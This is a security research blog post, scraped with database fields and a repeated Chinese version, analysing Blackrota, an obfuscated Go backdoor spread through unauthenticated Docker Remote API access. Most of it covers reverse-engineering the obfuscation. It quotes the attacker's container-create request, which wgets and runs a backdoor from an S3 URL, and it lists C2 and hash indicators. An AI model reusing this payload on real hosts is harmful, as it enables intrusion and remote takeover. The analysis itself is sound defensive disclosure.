<strong>geacon</strong> are not parsed. The problem lies in the functions above that are not covered by the geacon symbol.</p><p>From our analysis, we see that <strong>Blackrota</strong> XOR-encodes all the strings it uses internally, and dynamically decodes the strings at runtime to refer back to them. For each string, there is an XOR decoder function. <strong>gobfuscate</strong> generates a random XOR key of the same length as the string, solves a string of characters and returns it, and the solved string is referenced in the parent function. One of the key parts of the XOR decoding function is shown in the following figure:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/xor_func-1.png" class="kg-image" alt loading="lazy"></figure><p>If we want to decode all the strings, we need to find each string encoding function, find the Encoded Bytes and XOR Key, and solve the strings using the XOR algorithm. This will increase a lot of work to the reverse analysis effort, and also help the program to avoid the automated detection of security products to some extent.</p><h2 id="conclusion"><strong>Conclusion</strong></h2><p>Obfuscated malware written in Go is rare, except for a few simple attempts by white hats, but only two have been seen before: one is the ransomeware exposed by <a href="https://twitter.com/joakimkennedy">@joakimkennedy</a> that only obfuscates function symbols in <code>package main</code>:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/obfu_ransom-1.png" class="kg-image" alt loading="lazy"></figure><p>That program simply obfuscates the names of a few functions in the main package and hardly causes any issue to the reverse analysis:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/obfu_ransom_funcnames-1.png" class="kg-image" alt loading="lazy"></figure><p>The other one is another ransomeware <strong><a href="https://www.dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/">EKANS</a></strong>, which uses the same obfuscation method as Blackrota:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/ekans_srcfile-1.png" class="kg-image" alt loading="lazy"></figure><p>The obfuscation method of Blackrota and EKANS creates new challenges for reverse analysis. As the Go language becomes more popular, more and more malware will be written in Go in the future, we will keep an eye on what is going to happen.</p><h2 id="iocs-"><strong>IoCs:</strong></h2><h3 id="md5"><strong>MD5</strong></h3><pre><code>e56e4a586601a1130814060cb4bf449b
6e020db51665614f4a2fd84fb0f83778
9ca7acc98c17c6b67efdedb51560e1fa
</code></pre><h3 id="cc"><strong>C&C</strong></h3><pre><code>blackrato.ga 165.227.199.214 ASN: 14061|DigitalOcean,_LLC</code></pre> | The most obfuscated Go-developed ELF-formatted malware we've found
to date.
Overview
Recently, a malicious backdoor program written in the Go language that
exploits an unauthorized access vulnerability in the Docker Remote API
was caught by the our Anglerfish honeypot. We named it Blackrota, given
that its C2 domain name is blackrota.ga .
The Blackrota backdoor is currently only available for Linux, in ELF file
format, and supports both x86/x86-64 CPU architectures. Blackrota is
configured and compiled based on geacon, a CobaltStrike Beacon implemented in the Go language, which can be used as a CobalStrike Beacon that interacts with CobaltStrike to control compromised hosts:
However, it only implements some of the key functions in the original CobaltStrike Beacon:
* CMD_SHELL: Execute Shell command;
* CMD_UPLOAD: Upload files;
* CMDDOWNLOAD: Download the specified file;
* CMD_FILE_BROWSE: File browsing;
* CMD_CD: Change directory；
* CMD_SLEEP: Set the sleep delay time;
* CMD_PWD: Return current directory;
* CMD_EXIT: Exit.
Unlike the original geacon, Blackrota uses gobfuscate to obfuscate the
source code before compiling. gobfuscate is an open-source tool for Go code
obfuscation, which can obfuscate the following elements of Go source code
with random character substitutions:
* Package Names;
* Global Variable Names;
* Function Names;
* Type Names;
* Method Names.
In addition, gobfuscate replaces all strings used in the code with XOR
encodings, assigning each string an XOR Decoding function that dynamically decodes strings during program execution.
The Go language uses fully static links to build binary files. As a result, all
the codes used in standard and third-party libraries are packed into binary files, resulting in very large binary files. This characteristic, from a reverse analysis point of view, means that when you open a Go binary file in a disassembly tool, you will see thousands or even tens of thousands of functions. If these functions don't have corresponding symbolics, it will be difficult to reverse-analyze Go binary files.
The good news is that the Go language has another mechanism: when building a binary, both the RTSI(Runtime Symbol Information) and the RTTI(Runtime Type Information) are packed into the binary and cannot be stripped. Currently, almost all the dedicated tools to help reverse engineering Go binaries try to recover those information from Go binaries to assist analyse process. Go projects often import many third-party open-source packages. Genrally, the recovered RTSI and RTTI will lead us to the corresponding open-source package, we can then read the source code of third-party packages, which will further increase the efficiency of reverse analysis.
Blackrota uses gobfuscate to obfuscate symbolic and type information, which is the "life-door" of such reverse-analysis tools. The symbolic information they parse and recover becomes unreadable, and it is not possible to make sense of the symbolic and type information, and it is not possible to know which third-party packages were imported to the project. This makes the reverse analysis process a lot more difficult.
Historically, we have seen malware written in Go that was at best stripped at compiling time, and at worst slightly obfuscated, without much difficulty in reverse analysis. Blackrota brings a new approach to obfuscation, and is the most obfuscated Go-written malware in ELF format that we have found to date.
Analysis
The spread of Blackrota
The author of Blackrato recruits multiple payloads for unauthorized use
of the Docker Remote API. A typical payload is simplified as follows:
POST /v1.37/containers/create HTTP/1.1
Host: {target_host}:{target_port}
User-Agent: Docker-Client/19.03.7 (linux)
Content-Length: 1687
Content-Type: application/json
{"Env":[],"Cmd":["/bin/sh","-c","rm ./32 ; wget https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32;chmod 777 32; nohup ./32 \u003c/dev/null \u003e/dev/null 2\u003e\u00261 \u0026"],"Image":"alpine","Volumes":{},"WorkingDir":"","HostConfig":{"Binds":["/:/mnt"]}
With a successful payload, the 32bit or 64bit Blackrota backdoor program will be downloaded from the following 2 URLs:
https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32
https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/64
Blackrota backdoor program
As described above,Blackrota backdoor program was written in Go language, with the help of our go_parser in IDAPro, we can tell it was compiled from Go1.15.3, with GOROOT path "/usr/local/Cellar/ go/1.15.3/libexec".In addition to these two valid pieces of information, the parsed source file paths, function names, global variable names, data type names, and method names bound to datat ypes are all obfuscated with random character substitutions and are unreadable.
We can see the source file path list involved in the project (the directory of
the source file is named with a random string):
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/main.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/http.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/packet.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/commands.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/sysinfo_linux.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/meta.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/setting.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/req.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/resp.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/dump.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/pmdjfejhfmifhmelifpm/util.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rsa.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rand.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/aes.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/eepmoknkdieemfhjjjgl/config.go
Blackrota's function symblos
From the above parsing results, the biggest obstacle to reverse analysis is that the function names, type names, and method names are obfuscated into meaningless random characters in the source code of the third-party packages imported from the Blackrota sample. Partial list of functions after parsing:
Obfuscated data type definition:
In addition, there are still some method names bound to data types that are
not completely obfuscated:
With thousands of random string-named functions and a large number of randomly-named data types, methods, and global variables, we could not be sure what third-party Go packages were used inside the sample, making the reverse analysis almost impossible to move forward. Eventually, after some careful analysis, we discovered that the Blackrota sample was compiled from geacon.
In this way, we can try to recover the function symbols in the Blackrota sample using the following steps.
1. Compile a geacon binary with the same CPU architecture as the Blackrota sample, without stripped;
2. Use idb2pat.py in IDAPro to extract the pattern(geacon.pat) of the geacon's functions;
3. Use the sigmake in Flair Tools set to create a Flirt Signature file for geacon(geacon.sig).
4. Import geacon.sig to Blackrota's sample in IDAPro, identify and recover the function symbols.
Progress made! But don't get too excited yet, because we found out that Blackrota's function symbols are not completely recognized, and there are about a hundred functions that are not covered by geacon's symbols, some of which are recognized as follows:
Strings in Blackrota
In the analysis above, we saw that only a very few of the strings used in the Go standard packages are parsed in Blackrota, while the strings inside geacon are not parsed. The problem lies in the functions above that are not covered by the geacon symbol.
From our analysis, we see that Blackrota XOR-encodes all the strings it uses internally, and dynamically decodes the strings at runtime to refer back to them. For each string, there is an XOR decoder function. gobfuscate generates a random XOR key of the same length as the string, solves a string of characters and returns it, and the solved string is referenced in the parent function. One of the key parts of the XOR decoding function is shown in the following figure:
If we want to decode all the strings, we need to find each string encoding function, find the Encoded Bytes and XOR Key, and solve the strings using the XOR algorithm. This will increase a lot of work to the reverse analysis effort, and also help the program to avoid the automated detection of security products to some extent.
Conclusion
Obfuscated malware written in Go is rare, except for a few simple attempts by white hats, but only two have been seen before: one is the ransomeware exposed by @joakimkennedy that only obfuscates function symbols in package main:
That program simply obfuscates the names of a few functions in the main package and hardly causes any issue to the reverse analysis:
The other one is another ransomeware EKANS, which uses the same obfuscation method as Blackrota:
The obfuscation method of Blackrota and EKANS creates new challenges for reverse analysis. As the Go language becomes more popular, more and more malware will be written in Go in the future, we will keep an eye on what is going to happen.
IoCs:
MD5
e56e4a586601a1130814060cb4bf449b
6e020db51665614f4a2fd84fb0f83778
9ca7acc98c17c6b67efdedb51560e1fa
C&C
blackrato.ga 165.227.199.214 ASN: 14061|DigitalOcean,_LLC | {"version":"0.3.1","atoms":[["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}]],"cards":[["image",{"src":"__GHOST_URL__/content/images/2020/11/geacon-1.png","alt":"","title":""}],["code",{"code":"POST /v1.37/containers/create HTTP/1.1\nHost: {target_host}:{target_port}\nUser-Agent: Docker-Client/19.03.7 (linux)\nContent-Length: 1687\nContent-Type: application/json\n\n{\"Env\":[],\"Cmd\":[\"/bin/sh\",\"-c\",\"rm ./32 ; wget https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32;chmod 777 32; nohup ./32 \\u003c/dev/null \\u003e/dev/null 2\\u003e\\u00261 \\u0026\"],\"Image\":\"alpine\",\"Volumes\":{},\"WorkingDir\":\"\",\"HostConfig\":{\"Binds\":[\"/:/mnt\"]}\n"}],["code",{"code":"https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32\nhttps://semantixpublic.s3.amazonaws.com/itau-poc-elastic/64\n"}],["code",{"code":"/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/main.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/http.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/packet.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/commands.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/sysinfo_linux.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/meta.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/setting.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/req.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/resp.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/dump.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/pmdjfejhfmifhmelifpm/util.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rsa.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rand.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/aes.go\n/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/eepmoknkdieemfhjjjgl/config.go\n"}],["image",{"src":"__GHOST_URL__/content/images/2020/11/obfuscated_funcs-1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/11/obfuscated_type-1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/11/half_obfuscated_meth_name-1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/11/part_of_recovered_funcname-1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/11/xor_func-1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/11/obfu_ransom-1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/11/obfu_ransom_funcnames-1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/11/ekans_srcfile-1.png","alt":"","title":""}],["code",{"code":"e56e4a586601a1130814060cb4bf449b\n6e020db51665614f4a2fd84fb0f83778\n9ca7acc98c17c6b67efdedb51560e1fa\n"}],["code",{"code":"blackrato.ga 165.227.199.214 ASN: 14061|DigitalOcean,_LLC"}]],"markups":[["strong"],["code"],["a",["href","https://github.com/darkr4y/geacon"]],["a",["href","https://github.com/unixpickle/gobfuscate"]],["a",["href","https://github.com/0xjiayu/go_parser"]],["a",["href","https://github.com/fireeye/flare-ida/blob/master/python/flare/idb2pat.py"]],["a",["href","https://twitter.com/joakimkennedy"]],["a",["href","https://www.dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/"]]],"sections":[[1,"p",[[0,[],0,"The most obfuscated Go-developed ELF-formatted malware we've found"],[1,[],0,0],[0,[],0,"to date."]]],[1,"h2",[[0,[0],1,"Overview"]]],[1,"p",[[0,[],0,"Recently, a malicious backdoor program written in the Go language that"],[1,[],0,1],[0,[],0,"exploits an unauthorized access vulnerability in the Docker Remote API"],[1,[],0,2],[0,[],0,"was caught by the our "],[0,[0],1,"Anglerfish"],[0,[],0," honeypot. We named it "],[0,[0],1,"Blackrota"],[0,[],0,", given"],[1,[],0,3],[0,[],0,"that its C2 domain name is "],[0,[1],1,"blackrota.ga"],[0,[],0," ."]]],[1,"p",[[0,[],0,"The "],[0,[0],1,"Blackrota"],[0,[],0," backdoor is currently only available for Linux, in ELF file"],[1,[],0,4],[0,[],0,"format, and supports both x86/x86-64 CPU architectures. Blackrota is"],[1,[],0,5],[0,[],0,"configured and compiled based on "],[0,[0,2],2,"geacon"],[0,[],0,", a CobaltStrike Beacon implemented in the Go language, which can be used as a CobalStrike Beacon that interacts with CobaltStrike to control compromised hosts:"]]],[10,0],[1,"p",[[0,[],0,"However, it only implements some of the key functions in the original CobaltStrike Beacon:"]]],[3,"ul",[[[0,[0],1,"CMD_SHELL"],[0,[],0,": Execute Shell command;"]],[[0,[0],1,"CMD_UPLOAD"],[0,[],0,": Upload files;"]],[[0,[0],1,"CMDDOWNLOAD"],[0,[],0,": Download the specified file;"]],[[0,[0],1,"CMD_FILE_BROWSE"],[0,[],0,": File browsing;"]],[[0,[0],1,"CMD_CD"],[0,[],0,": Change directory；"]],[[0,[0],1,"CMD_SLEEP"],[0,[],0,": Set the sleep delay time;"]],[[0,[0],1,"CMD_PWD"],[0,[],0,": Return current directory;"]],[[0,[0],1,"CMD_EXIT"],[0,[],0,": Exit."]]]],[1,"p",[[0,[],0,"Unlike the original "],[0,[0],1,"geacon"],[0,[],0,", "],[0,[0],1,"Blackrota"],[0,[],0," uses "],[0,[0,3],2,"gobfuscate"],[0,[],0," to obfuscate the"],[1,[],0,6],[0,[],0,"source code before compiling. "],[0,[0],1,"gobfuscate"],[0,[],0," is an open-source tool for Go code"],[1,[],0,7],[0,[],0,"obfuscation, which can obfuscate the following elements of Go source code"],[1,[],0,8],[0,[],0,"with random character substitutions:"]]],[3,"ul",[[[0,[0],1,"Package Names"],[0,[],0,";"]],[[0,[0],1,"Global Variable Names"],[0,[],0,";"]],[[0,[0],1,"Function Names"],[0,[],0,";"]],[[0,[0],1,"Type Names"],[0,[],0,";"]],[[0,[0],1,"Method Names"],[0,[],0,"."]]]],[1,"p",[[0,[],0,"In addition, gobfuscate replaces all strings used in the code with XOR"],[1,[],0,9],[0,[],0,"encodings, assigning each string an XOR Decoding function that dynamically decodes strings during program execution."]]],[1,"p",[[0,[],0,"The Go language uses fully static links to build binary files. As a result, all"],[1,[],0,10],[0,[],0,"the codes used in standard and third-party libraries are packed into binary files, resulting in very large binary files. This characteristic, from a reverse analysis point of view, means that when you open a Go binary file in a disassembly tool, you will see thousands or even tens of thousands of functions. If these functions don't have corresponding symbolics, it will be difficult to reverse-analyze Go binary files."]]],[1,"p",[[0,[],0,"The good news is that the Go language has another mechanism: when building a binary, both the "],[0,[0],1,"RTSI"],[0,[],0,"(Runtime Symbol Information) and the "],[0,[0],1,"RTTI"],[0,[],0,"(Runtime Type Information) are packed into the binary and cannot be stripped. Currently, almost all the dedicated tools to help reverse engineering Go binaries try to recover those information from Go binaries to assist analyse process. Go projects often import many third-party open-source packages. Genrally, the recovered "],[0,[0],1,"RTSI"],[0,[],0," and "],[0,[0],1,"RTTI"],[0,[],0," will lead us to the corresponding open-source package, we can then read the source code of third-party packages, which will further increase the efficiency of reverse analysis."]]],[1,"p",[[0,[0],1,"Blackrota"],[0,[],0," uses "],[0,[0],1,"gobfuscate"],[0,[],0," to obfuscate symbolic and type information, which is the \"life-door\" of such reverse-analysis tools. The symbolic information they parse and recover becomes unreadable, and it is not possible to make sense of the symbolic and type information, and it is not possible to know which third-party packages were imported to the project. This makes the reverse analysis process a lot more difficult."]]],[1,"p",[[0,[],0,"Historically, we have seen malware written in Go that was at best stripped at compiling time, and at worst slightly obfuscated, without much difficulty in reverse analysis. Blackrota brings a new approach to obfuscation, and is the most obfuscated Go-written malware in ELF format that we have found to date."]]],[1,"h2",[[0,[0],1,"Analysis"]]],[1,"h3",[[0,[0],1,"The spread of Blackrota"]]],[1,"p",[[0,[],0,"The author of "],[0,[0],1,"Blackrato"],[0,[],0," recruits multiple payloads for unauthorized use"],[1,[],0,11],[0,[],0,"of the Docker Remote API. A typical payload is simplified as follows:"]]],[10,1],[1,"p",[[0,[],0,"With a successful payload, the 32bit or 64bit Blackrota backdoor program will be downloaded from the following 2 URLs:"]]],[10,2],[1,"h3",[[0,[0],1,"Blackrota backdoor program"]]],[1,"p",[[0,[],0,"As described above,"],[0,[0],1,"Blackrota"],[0,[],0," backdoor program was written in Go language, with the help of our "],[0,[0,4],2,"go_parser"],[0,[],0," in IDAPro, we can tell it was compiled from "],[0,[0],1,"Go1.15.3"],[0,[],0,", with "],[0,[0],1,"GOROOT"],[0,[],0," path "],[0,[1],1,"\"/usr/local/Cellar/ go/1.15.3/libexec\""],[0,[],0,".In addition to these two valid pieces of information, the parsed source file paths, function names, global variable names, data type names, and method names bound to datat ypes are all obfuscated with random character substitutions and are unreadable."]]],[1,"p",[[0,[],0,"We can see the source file path list involved in the project (the directory of"],[1,[],0,12],[0,[],0,"the source file is named with a random string):"]]],[10,3],[1,"h3",[[0,[0],1,"Blackrota's function symblos"]]],[1,"p",[[0,[],0,"From the above parsing results, the biggest obstacle to reverse analysis is that the function names, type names, and method names are obfuscated into meaningless random characters in the source code of the third-party packages imported from the "],[0,[0],1,"Blackrota"],[0,[],0," sample. Partial list of functions after parsing:"]]],[10,4],[1,"p",[[0,[],0,"Obfuscated data type definition:"]]],[10,5],[1,"p",[[0,[],0,"In addition, there are still some method names bound to data types that are"],[1,[],0,13],[0,[],0,"not completely obfuscated:"]]],[10,6],[1,"p",[[0,[],0,"With thousands of random string-named functions and a large number of randomly-named data types, methods, and global variables, we could not be sure what third-party Go packages were used inside the sample, making the reverse analysis almost impossible to move forward. Eventually, after some careful analysis, we discovered that the Blackrota sample was compiled from "],[0,[0],1,"geacon"],[0,[],0,"."]]],[1,"p",[[0,[],0,"In this way, we can try to recover the function symbols in the "],[0,[0],1,"Blackrota"],[0,[],0," sample using the following steps."]]],[3,"ol",[[[0,[],0,"Compile a geacon binary with the same CPU architecture as the Blackrota sample, without stripped;"]],[[0,[],0,"Use "],[0,[0,5],2,"idb2pat.py"],[0,[],0," in IDAPro to extract the pattern("],[0,[0],1,"geacon.pat"],[0,[],0,") of the "],[0,[0],1,"geacon"],[0,[],0,"'s functions;"]],[[0,[],0,"Use the "],[0,[0],1,"sigmake"],[0,[],0," in Flair Tools set to create a Flirt Signature file for geacon("],[0,[0],1,"geacon.sig"],[0,[],0,")."]],[[0,[],0,"Import "],[0,[0],1,"geacon.sig"],[0,[],0," to "],[0,[0],1,"Blackrota"],[0,[],0,"'s sample in IDAPro, identify and recover the function symbols."]]]],[1,"p",[[0,[],0,"Progress made! But don't get too excited yet, because we found out that "],[0,[0],1,"Blackrota"],[0,[],0,"'s function symbols are not completely recognized, and there are about a hundred functions that are not covered by geacon's symbols, some of which are recognized as follows:"]]],[10,7],[1,"h3",[[0,[0],1,"Strings in Blackrota"]]],[1,"p",[[0,[],0,"In the analysis above, we saw that only a very few of the strings used in the Go standard packages are parsed in "],[0,[0],1,"Blackrota"],[0,[],0,", while the strings inside "],[0,[0],1,"geacon"],[0,[],0," are not parsed. The problem lies in the functions above that are not covered by the geacon symbol."]]],[1,"p",[[0,[],0,"From our analysis, we see that "],[0,[0],1,"Blackrota"],[0,[],0," XOR-encodes all the strings it uses internally, and dynamically decodes the strings at runtime to refer back to them. For each string, there is an XOR decoder function. "],[0,[0],1,"gobfuscate"],[0,[],0," generates a random XOR key of the same length as the string, solves a string of characters and returns it, and the solved string is referenced in the parent function. One of the key parts of the XOR decoding function is shown in the following figure:"]]],[10,8],[1,"p",[[0,[],0,"If we want to decode all the strings, we need to find each string encoding function, find the Encoded Bytes and XOR Key, and solve the strings using the XOR algorithm. This will increase a lot of work to the reverse analysis effort, and also help the program to avoid the automated detection of security products to some extent."]]],[1,"h2",[[0,[0],1,"Conclusion"]]],[1,"p",[[0,[],0,"Obfuscated malware written in Go is rare, except for a few simple attempts by white hats, but only two have been seen before: one is the ransomeware exposed by "],[0,[6],1,"@joakimkennedy"],[0,[],0," that only obfuscates function symbols in "],[0,[1],1,"package main"],[0,[],0,":"]]],[10,9],[1,"p",[[0,[],0,"That program simply obfuscates the names of a few functions in the main package and hardly causes any issue to the reverse analysis:"]]],[10,10],[1,"p",[[0,[],0,"The other one is another ransomeware "],[0,[0,7],2,"EKANS"],[0,[],0,", which uses the same obfuscation method as Blackrota:"]]],[10,11],[1,"p",[[0,[],0,"The obfuscation method of Blackrota and EKANS creates new challenges for reverse analysis. As the Go language becomes more popular, more and more malware will be written in Go in the future, we will keep an eye on what is going to happen."]]],[1,"h2",[[0,[0],1,"IoCs:"]]],[1,"h3",[[0,[0],1,"MD5"]]],[10,12],[1,"h3",[[0,[0],1,"C&C"]]],[10,13]],"ghostVersion":"3.0"} | 609616973819e50007633d12 |
post | null | 2021-05-08T04:44:06.000Z | 63873b9a8b1c1e0007f52fc0 | blackrota-yi-ge-gokai-fa-de-gao-du-hun-yao-de-hou-men | 0 | 2021-05-08T04:44:39.000Z | public | published | null | 2020-11-20T04:44:00.000Z | Blackrota, 一个Go开发的高度混淆的后门 | <h1 id="-"><strong>概述</strong></h1><p>最近，我们通过 Anglerfish 蜜罐捕获到一个利用 Docker Remote API 未授权访问漏洞来传播的 Go 语言编写的恶意后门程序，鉴于它上线的 C2 为 <code>blackrota.ga</code> ，我们把它命名为 <strong>Blackrota</strong>。</p><p><strong>Blackrota</strong> 后门程序目前只有 Linux 版，为 ELF 文件格式，支持 x86/x86-64 两种 CPU 架构。<strong>Blackrota</strong> 基于 <a href="https://github.com/darkr4y/geacon"><strong>geacon</strong></a> 配置并编译，<strong>geacon</strong> 是一个 Go 语言实现的 CobaltStrike Beacon，它可以作为 CobalStrike 的 Beacon 与 CobaltStrike 交互来控制失陷主机：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/11/geacon.png" class="kg-image" alt loading="lazy"></figure><p>不过它只实现了原生 CobaltStrike Beacon 中的部分关键功能：</p><ul><li><strong>CMD_SHELL</strong>: 执行 Shell 命令；</li><li><strong>CMD_UPLOAD</strong>: 上传文件;</li><li><strong>CMDDOWNLOAD</strong>: 下载指定文件；</li><li><strong>CMD_FILE_BROWSE</strong>: 文件浏览；</li><li><strong>CMD_CD</strong>: 切换目录；</li><li><strong>CMD_SLEEP</strong>: 设置睡眠延迟时间；</li><li><strong>CMD_PWD</strong>: 当前目录；</li><li><strong>CMD_EXIT</strong>: 退出。</li></ul><p>不同的是，<strong>Blackrota</strong> 在编译前，对 <strong>geacon</strong> 源码以及 <strong>geacon</strong> 用到的第三方 Package 中的<strong>函数名</strong>、<strong>变量名</strong>甚至<strong>源码文件路径字符串</strong>做了混淆。导致我们在逆向分析过程中无法直观看出该后门程序导入了哪些第三方 Package，进而无法直接恢复关键的函数符号与有意义的 Type Names。</p><p>另外，<strong>Blackrota</strong> 的作者还把程序中所有的字符串做了编码处理，每一个字符串都用一个 XOR 编码的函数来编码，执行的时候动态解码后再调用。导致逆向工程师无法直接看到程序中用到的字符串，现有的针对 Go 语言二进制文件逆向分析的辅助脚本、插件更无法解析这些字符串，给逆向分析工作带来很大的阻力。</p><p>历史上我们见过的 Go 编写的恶意软件，最多在编译时做了 Strip 处理，极个别会有轻微的混淆，都不会对逆向分析工作带来多大困难。而 <strong>Blackrota</strong> 则带来了新的混淆方式，给 Go 二进制文件的逆向分析工作带来新的挑战。</p><p>这是我们迄今为止发现的混淆程度最高的 Go 编写的 ELF 格式的恶意软件。</p><h2 id="--1"><strong>详细分析</strong></h2><h3 id="blackrota-"><strong>Blackrota 的传播</strong></h3><p><strong>Blackrato</strong> 的作者针对未授权 Docker Remote API 利用的 Payload 有多个，其中典型的 Payload 精简如下：</p><pre><code>POST /v1.37/containers/create HTTP/1.1
Host: {target_host}:{target_port}
User-Agent: Docker-Client/19.03.7 (linux)
Content-Length: 1687
Content-Type: application/json
{"Env":[],"Cmd":["/bin/sh","-c","rm ./32 ; wget https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32;chmod 777 32; nohup ./32 \u003c/dev/null \u003e/dev/null 2\u003e\u00261 \u0026"],"Image":"alpine","Volumes":{},"WorkingDir":"","HostConfig":{"Binds":["/:/mnt"]}
</code></pre><p>利用成功的 Payload，会从以下 2 个 URL 下载 32bit 或者 64bit <strong>Blackrota</strong> 后门程序：</p><pre><code>https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32
https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/64
